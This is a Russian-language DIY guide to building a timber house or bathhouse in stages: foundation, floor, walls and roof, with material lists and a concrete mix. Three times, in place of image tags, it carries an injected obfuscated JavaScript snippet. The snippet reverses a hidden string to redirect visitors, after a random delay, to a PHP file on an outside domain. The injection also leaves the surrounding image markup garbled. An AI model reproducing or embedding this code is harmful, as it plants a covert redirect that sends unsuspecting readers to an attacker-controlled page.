Этапы строительства дома из бруса: пошаговое возведение, материалы и инструменты

Каждый мечтает о своем собственном доме. Однако зачастую, покупая уже готовый дом, можно приобрести в комплекте с ним несколько неприятных «сюрпризов», да и переделать его на свое усмотрение уже сложно.

Совсем другое дело, когда дом строится с самого начала и до конца самостоятельно по личному проекту. Строительство бани из бруса своими руками поэтапно выполняется также как и дома, поэтому можно рассмотреть ее в общем случае для этих двух построек.

Этапы строительства

Строительство дома из бруса

Весь процесс возведения бани или дома из бруса или бревна состоит из нескольких последовательных этапов:

• подготовка проекта;
• подготовка местности, материалов и инструментов;
• возведение фундамента;
• возведение пола;
• возведение стен;
• устройство перекрытия и крыши;
• окна, двери;
• внутренняя и внешняя отделка.

Подготовка проекта, подготовка местности и материалов

Можно смело говорить, что подготовка проекта брусового дома или коттеджа не подчиняется никаким стандартам. В этом деле каждый сам себе хозяин, поэтому говорить о какой-то технологии или правилах не приходится.

Что касается материалов и инструментов, то тут наоборот, все по стандарту. Для каждого отельного пункта необходимые материалы будут рассмотрены отдельно. Это же касается и инструментов.

Дом из бруса своими руками поэтапно возводится на ровной и подготовленной площадке. Но необходимо не только выровнять площадку, но и убрать все лишнее.

В редких случаях подготовка включает в себя очень трудоемкий процесс – замена слоя почвы. Это нужно только в тех случаях, когда грунт обладает очень низким коэффициентом сопротивления.

Возведение фундамента

Сейчас известны три типа фундаментов:

• столбчатые;
• ленточные;
• плитные.

Для частного дома лучше всего подойдет ленточный фундамент.

Он более трудоемкий и дорогой, но у него есть свои преимущества:

• обладает огромной несущей способностью, что позволяет не производить соответствующие расчеты;
• достаточно простой в своем исполнении;

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tochnyy-monolitnyy-fundament.jpg» alt=»Ленточный монолитный фундамент» width=»600″ height=»451″ /> Ленточный монолитный фундамент

Эти два преимущества позволяют избавиться от многих трудностей, которые предполагает столбчатый фундамент.

Будем рассматривать технологию возведения именно ленточного фундамента.

Для расчета материалов для ленточного фундамента можно воспользоваться калькулятором:

Тип фундамента
вариант 1	вариант 5
вариант 2	вариант 6
вариант 3	вариант 7
вариант 4	вариант 8
Размеры фундамента
Ширина, мм.
Длина, мм.
Высота, мм.
Толщина, мм.
Размер, мм.
Арматура
Горизонтальные ряды	0 1 2 3 4 5 6 7 8 9 10
Вертикальные стержни	0 1 2 3 4 5
Соединительные стержни	0 1 2 3 4 5
Шаг
Диаметр арматуры	6 8 10 12 14 16 18 20 22 25 28
Опалубка
Толщина доски для опалубки, мм.
Длина доски, мм.
Ширина доски, мм.
Состав бетона
Вес одного мешка, кг.
Мешков на 1 кубометр бетона
Пропорции бетона по весу
Цемент
Песок
Щебень
Стоимость строительных материалов
Цемент (за мешок)
Песок (за 1 тонну)
Щебень (за 1 тонну)
Доска (за 1 кубометр)
Арматура (за 1 тонну)

Для этого потребуется следующий инструмент:

• лопата:
• молоток;
• ножовка по дереву;
• сварочный аппарат или крючок для вязания стальной проволокой, либо специальный аппарат для вязания;
• емкости для замешивания цементного раствора, а также емкости для чистой воды.

1. Итак, все начинается с разметки на местности. Провести ее можно при помощи веревки и колышков, или просто отчертив линии на грунте. Проверить правильность разметки можно при помощи рулетки.
2. Нужно только замерять обе диагонали в прямоугольнике – они должны быть одинаковыми. Это будет означать, что фундамент ровный.

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovka-fundamenta-k-zalivke.jpg» alt=»Подготовка фундамента к заливке» width=»400″ height=»300″ /> Подготовка фундамента к заливке

3. Дальше требуется выкопать котлован. Он копается на глубину закладки фундамента, плюс еще 20-30 см. Ширина должна быть на 5-7 см больше необходимой.
4. Надо сказать, что если планируется не устраивать опалубку для фундамента, то и ширина котлована может быть такой, какой ширины должна быть отливная часть самого фундамента.

Совет!
Если возводится баня из бруса своими руками поэтапно, то можно опалубку для фундамента не делать, так как она возводится с целью придания ленте ровной формы, а в данном случае этого не требуется.

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tochnyy-fundament-s-derevyannoy-opalubkoy.jpg» alt=»Ленточный фундамент с деревянной опалубкой» width=»264″ height=»191″ /> Ленточный фундамент с деревянной опалубкой

5. Только в том случае, когда лента будет возвышаться над землей, без опалубки просто не обойтись.
6. Итак, отливная часть фундамента должна иметь ширину, которая позволит без труда уложить на нее брус или бревно. Часто для этого достаточно всего 15 см, однако такой фундамент может просто треснуть.
7. Минимальная ширины отливной части должна быть 25-30 см.
8. После того, как траншея выкопана, на ее дно насыпается слой щебня или гравия. Толщина слоя около 10-15 см. Дальше насыпается такой же слой песка. При этом этот слой тщательно утрамбовывается. Уплотнять песок можно при помощи воды.
9. Дальше можно заливать фундамент. Для бани часть траншеи можно заполнить строительным ломом, то есть кусками битого шифера, битым кирпичом, стеклом и так далее. Каждые 30-40 см такого слоя проливаются жидким раствором.

Заливаем в опалубку раствор

10. Последние примерно 50 см заливаются чистым бетоном.
11. Если фундамент возводится для дома, то лучше его не только делать полностью из монолитного бетона, но еще и армировать. Для армирования используется стальная арматура с диаметром 10-12 мм. Из проволоки изготавливаются пояса, а из поясов каркас.

Бетон готовится по пропорции:

• 1 часть цемента;
• 3 части песка;
• 2 части щебня или гравия;
• вода.

Такое соотношение пригодно только для цемента марки М500 и выше.

Если опалубка не возводилась, то после полной заливки траншее, следует дать ей просохнуть. На это может потребоваться от нескольких дней до 2-3 недель.

После этого в любом случае требуется возводить цоколь. Его можно сделать из красного кирпича.

Ровную кладку легко можно сделать своими руками при помощи отвеса или водяного уровня.

После полного высыхания фундамента, поверх устраивается слой гидроизоляции. Он может быть представлен слоем рубероида.

Если возводилась опалубка, то она убирается только через 3-4 дня при нормальной погоде, однако фундамент должен еще не подвергаться воздействию, так как он не успеет набрать необходимый процент прочности.

Возведение пола

Для этой работы потребуется наличие следующих материалов:

• брус сечением 100 на 50 мм;
• доска с толщиной около 25 мм;
• саморезы по дереву;
• нагеля для брусьев;
• пакля или мох.

Начинается все с того, что возводится первый венец.

Первый венец и лаги пола

Совет!
Первый венец нужно укладывать как можно ровнее, так как именно по нему будут укладываться все последующие венцы.
Кроме того, первый венец требуется пропитать ансисептиком, так как он больше всего подвержен воздействию влаги от грунта.

Брусы для стен должны иметь сечение 150 на 150 мм. Для лаг и внутренних стен — 100 на 50 мм.

Чтобы сделать примыкание брусов, то есть лаг, то можно воспользоваться двумя способами крепления бревен:

• в полбревна;
• «ласточкин хвост» или «сковороднем».

Первый способ самый простой. Однако в этом случае лага накладывается сверху на венец. Это приведет к тому, что в брусе второго венца также придется вырезать ниши под уже уложенные лаги. (см. также статью Стыковка бруса по длине – варианты соединений)

Скрепление вторым способом подразумевает сцепку таким способом, что оба бруса находятся в одной горизонтальной плоскости.

Такой вид соединения показан на следующем фото.

Соединение «сковороднем»

Такой способ наиболее оптимальный, хоть и более трудоемкий. Чтобы соединить между собой два бруса, можно использовать способ «в шип». Для этого в торце одного бруса вырезается шип, а в торце второго бруса вырезается такой же по размерам паз.

Поскольку иногда длина лаги достаточно большая, то под нее нужно возвести столбы. Их можно сделать из кирпича и цементного раствора.

Стоит сказать, что брусы для лаг лучше укладывать на ребро. Лаги стоит располагать с шагом от 40 до 100 см, в зависимости от предполагаемой нагрузки.

После укладки лаг на них набиваются доски чернового пола. Снизу на лаги можно сделать обрешетку, а на нее уложить теплоизолятор. Для чернового пола используют доски толщиной 25 мм.

После на этот черновой пол можно сразу стелить чистовое покрытие, например шпунтованные доски 28 на 36 мм.

Возведение стен

Поэтапное строительство дома из бруса своими руками следующим шагом предполагает возведение стен. Делается это путем последовательно возведения венцов из брусов.

Схема возведения стен дома из брусьев

Все брусы могут на углах скрепляться способом «в полбревна», или же «в шип», речь о которых шла немного выше.

Стоит сказать немного о профилированном брусе. Он отличается от обычного тем, что имеет уже готовые пазы. Поэтому этапы строительства дома из профилированного бруса, а конкретно, процесс возведения стен, немного отличаются от такой же работы из обычного бруса.

Отличие заключается в том, что обычный брус требуется скреплять каждые 2-3 венца. Делается это при помощи нагелей для бруса. Для них в брусах высверливается отверстие, которое проходит насквозь через несколько брусов, например, через два. В это отверстие забивается нагель, который может быть либо деревянным, либо металлическим.

В остальном этапы строительства брусового дома из профилированного и обычного бруса ничем не отличается.

Что касается внутренних стен, то их следует возводить одновременно с возведением основных стен.

Каждый последующий венец должен укладываться на слой мха или пакли.

Перекрытие и крыша

Перекрытие устраивается из тех же материалов, что и пол, то есть в качестве балок используются брусы 100 на 50 мм. Балки укладываются таким же способом, что и лаги.

Они подшиваются снизу и сверху. На доски нижней обшивки кладется пароизоляционная пленка, а наверх укладывается теплоизолятор. Сверху брусы тоже можно обшить досками.

Балки перекрытия

Стропильная система также делается из брусов 100 на 50 мм. Стропила устанавливаются с такой же частотой, что и балки. Стропила должны крепиться к балкам.

Сверху стропильная система обшивается досками, которые будут выполнять роль обрешетки. Дальше настилается слой гидроизолятора, а наверх кровельный материал.

Краткий вывод

Профилированный брус

Итак, как видно поэтапное строительство бани из бруса своими руками, как и строительство дома, не является сложной и непреодолимой задачей. Кроме того, надо сказать, что цена такого строительства тоже относительно невысокая, а вот при должном его утеплении и отделке владелец получает уникальное, комфортное и долговечное жилье.

Видео в этой статье готово изложить свое видение этого процесса.